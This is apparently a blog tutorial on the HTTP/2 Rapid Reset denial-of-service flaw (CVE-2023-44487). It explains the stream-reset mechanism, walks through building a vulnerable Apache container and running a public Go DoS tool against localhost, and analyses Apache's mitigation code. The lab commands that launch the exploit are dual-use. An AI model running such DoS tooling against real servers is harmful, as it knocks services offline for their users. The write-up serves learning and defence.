Rapid Reset (CVE-2023–44487) — DoS in HTTP/2 — Understanding the root cause

8 min readApr 26, 2024

Screenshots from the blog posts

Summary

The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. This post is meant to be a one-stop guide for you to learn all about this vulnerability and perform the hands-on exploit to see everything in action. Lastly, we conclude with understanding the patch for this issue for the Apache server implementation.

Description

Introduction

In late 2023, a DoS vulnerability called “Rapid Reset”, had been exploited in the wild, specifically from August 2023 through October 2023.

Reference: https://storage.googleapis.com/gweb-cloudblog-publish/images/security_2023.max-2500x2500.jpg

What’s more notable about this vulnerability is the fact that HTTP/2 is used by more than a third (35%) of websites worldwide, as stated by the [W3Techs reports](https://w3techs.com/technologies/details/ce-http2).

Reference: https://w3techs.com/technologies/details/ce-http2

What is HTTP? Why is HTTP/2 faster than HTTP/1.1?

HTTP stands for hypertext transfer protocol, and it is the basis for almost all web applications. More specifically, HTTP is the method computers and servers use to request and send information. For instance, when someone navigates to cloudflare.com on their laptop, their web browser sends an HTTP request to the Cloudflare servers for the content that appears on the page. Then, Cloudflare servers send HTTP responses with the text, images, and formatting that the browser displays to the user.

What is HTTP/1.1?

The first usable version of HTTP was created in 1997. Because it went through several stages of development, this first version of HTTP was called HTTP/1.1. This version is still in use on the web.

What is HTTP/2?

In 2015, a new version of HTTP called HTTP/2 was created. HTTP/2 solves several problems that the creators of HTTP/1.1 did not anticipate. In particular, HTTP/2 is much faster and more efficient than HTTP/1.1. One of the ways in which HTTP/2 is faster is in how it prioritizes content during the loading process.

Reference: https://www.cloudflare.com/learning/performance/http2-vs-http1.1/

Streams v/s Connections

In HTTP/2, there’s a concept of streaming — a conceptual thing that can be thought to exist in reality. What it helps with is mapping the corresponding requests and responses, given that in HTTP/2, multiple requests and responses would be exchanged within a single connection.

These streams are like multiple smaller cables going inside one big cable (the HTTP connection).

What is CVE-2023–44487?

The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild from August through October 2023.

Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-44487

Why is it called “Rapid Reset”?

The HTTP/2 protocol allows clients to indicate to the server that a previous stream should be canceled by sending a RST_STREAM frame. The protocol does not require the client and server to coordinate the cancellation in any way, the client may do it unilaterally. The client may also assume that the cancellation will take effect immediately when the server receives the RST_STREAM frame, before any other data from that TCP connection is processed.

This attack is called Rapid Reset because it relies on the ability of an endpoint to send a RST_STREAM frame immediately after sending a request frame, which makes the other endpoint start working and then rapidly reset the request. The request is canceled but leaves the HTTP/2 connection open.

**Reference:** https://cloud.google.com/blog/products/identity-security/how-it-works-the-novel-http2-rapid-reset-ddos-attack

The TL;DR version is that an attacker sends a frame to cancel a stream (the smaller cable) but the connection (the bigger, outer cable) stays open. Doing this for multiple requests would mean a lot of idle HTTP/2 connections that have piled up.

This, as you would have expected, would increase the load on the server and eventually cause resource exhaustion, followed by the Denial of Service!

Lab Setup

The lab setup simply requires setting up an HTTP server that has support for HTTP/2 and we need to ensure that the version of that HTTP server is not patched against this vulnerability.

Shoutout to Patrick Tulskie for his testbed for the Rapid Reset vulnerability here:

git clone https://github.com/PatrickTulskie/reset-rabbit.git

We will clone the repo and build the docker container:

Let’s build the docker container for the Apache version vulnerable to HTTP/2 DoS attack:

sudo docker build -t cve_2023_44487 .

…

All good so far.

Let’s now launch the container:

sudo docker run -it --rm --name test -p443:443 -m 128m --cpus 0.5 cve_2023_44487

Note: In the above command, we have launched the container with limited resources. The primary reason for this is that the exploit we are going to run is a DoS exploit and thus would end up hanging your virtual machine if the container is not resource-constrained.

Exploitation

The exploit is also provided with the testbed, so will be using that same exploit. It’s written in Golang, which from my experience, is a great choice for building network-based exploits (and any network-based tools in general due to the native support concurrency via goroutines).

Anyways, back to the exploitation part. Before we launch the exploit, let’s see if the server is responding:

kali@kali:~/rapid-reset/reset-rabbit$ time curl -k https://localhost -i
HTTP/2 200 
last-modified: Fri, 05 Apr 2024 14:39:23 GMT
etag: "2d-6155a6bf93cc0"
accept-ranges: bytes
content-length: 45
content-type: text/html
date: Fri, 05 Apr 2024 14:43:13 GMT
server: Apache/2.4.58 (Unix) OpenSSL/3.0.11

<html><body><h1>Test Page</h1></body></html>

real    0.02s
user    0.00s
sys     0.01s
cpu     61%

It indeed is!

Next, let’s build and check its usage:

kali@kali:~/rapid-reset/reset-rabbit$ go build

kali@kali:~/rapid-reset/reset-rabbit$ ls
go.mod  go.sum  readme.md  reset-rabbit  reset-rabbit.go  vulnerable-apache

kali@kali:~/rapid-reset/reset-rabbit$ ./reset-rabbit -h
Usage of ./reset-rabbit:
  -limit int
        Limit on number of concurrent goroutines (0 for no limit) (default 1)
  -url string
        URL to send requests to

kali@kali:~/rapid-reset/reset-rabbit$

Nothing too complex — all we need to provide is the URL to attack and the number of concurrent goroutines to be used for the attack.

Before we launch the exploit, we will exec into the container and install procps and htop to get an idea of the load on the server under normal circumstances and under the attack situation:

Inside the attacker machine:

docker exec -it test bash

Inside the vulnerable container:

apt-get update && apt-get install -y procps htop

Now let’s run htop to see the load on the system:

Sweet! All looks under control, nothing too concerning at the moment.

Now let’s run our exploit and perform a DoS attack:

./reset-rabbit -url https://localhost -limit 1

And what do we notice — the site is down, as reported by the exploit.

Let’s check the htop output inside the container:

And indeed, the server is under heavy load, for a short while. For the demo, this much should suffice as the DoS we perform would anyway lead to the hangup for our own machine.

A word of caution: Kindly ensure that you don’t run the above exploit script to any website or server that you aren’t authorized to test. Doing so would be illegal and should be avoided at all costs. Please be responsible.

Mitigations

Let’s take a look at the mitigations done in Apache for this issue:

https://github.com/apache/httpd/blob/afcdbeebbff4b0c50ea26cdd16e178c0d1f24152/modules/http2/h2_mplx.c#L1101-L1113

The following is the complete function that would tell if a reset is acceptable or not, as its name also suggests:

static int reset_is_acceptable(h2_stream *stream)
{
    /* client may terminate a stream via H2 RST_STREAM message at any time.
     * This is annyoing when we have committed resources (e.g. worker threads)
     * to it, so our mood (e.g. willingness to commit resources on this
     * connection in the future) goes down.
     *
     * This is a DoS protection. We do not want to make it too easy for
     * a client to eat up server resources.
     *
     * However: there are cases where a RST_STREAM is the only way to end
     * a request. This includes websockets and server-side-event streams (SSEs).
     * The responses to such requests continue forever otherwise.
     *
     */
    if (!stream_is_running(stream)) return 1;
    if (!(stream->id & 0x01)) return 1; /* stream initiated by us. acceptable. */
    if (!stream->response) return 0; /* no response headers produced yet. bad. */
    if (!stream->out_data_frames) return 0; /* no response body data sent yet. bad. */
    return 1; /* otherwise, be forgiving */
}

The function is self-descriptive and is quite verbose and very-well written. Kudos to the project maintainers!

The gist is that the above function would ensure that any client cannot simply perform a stream reset.

The above function handles 4 cases for a reset and has a catch-all at the end that would allow a stream reset:

if (!stream_is_running(stream)) return 1;
if (!(stream->id & 0x01)) return 1; /* stream initiated by us. acceptable. */
if (!stream->response) return 0; /* no response headers produced yet. bad. */
if (!stream->out_data_frames) return 0; /* no response body data sent yet. bad. */
return 1; /* otherwise, be forgiving */

If the stream is not running or the stream is initiated by the server, in that case the client didn’t initiate the stream and thus it can be canceled.

But if the stream is active and initiated by the client, then if the stream has not yet produced the response headers or body then the stream reset is not allowed, as the server is doing the busy work of processing the request and thus canceling the stream would mean wasted resources on the server side.

Thus, the patch seems apt and handles the situation (as far as I understand).

Closing Thoughts

This DoS vulnerability has been exploited widely and had damaging consequences provided that the web, even though a virtual concept, is the foundation of our modern lives and given the fact that more than a third of the web servers have HTTP/2 support, a lot of damage was possible with this very issue.

In the end, I would like to thank all the project maintainers who took it on them and made sure this nasty vulnerability was eliminated once and for all and ensured a safer and more accessible internet for all of us. Happy ending!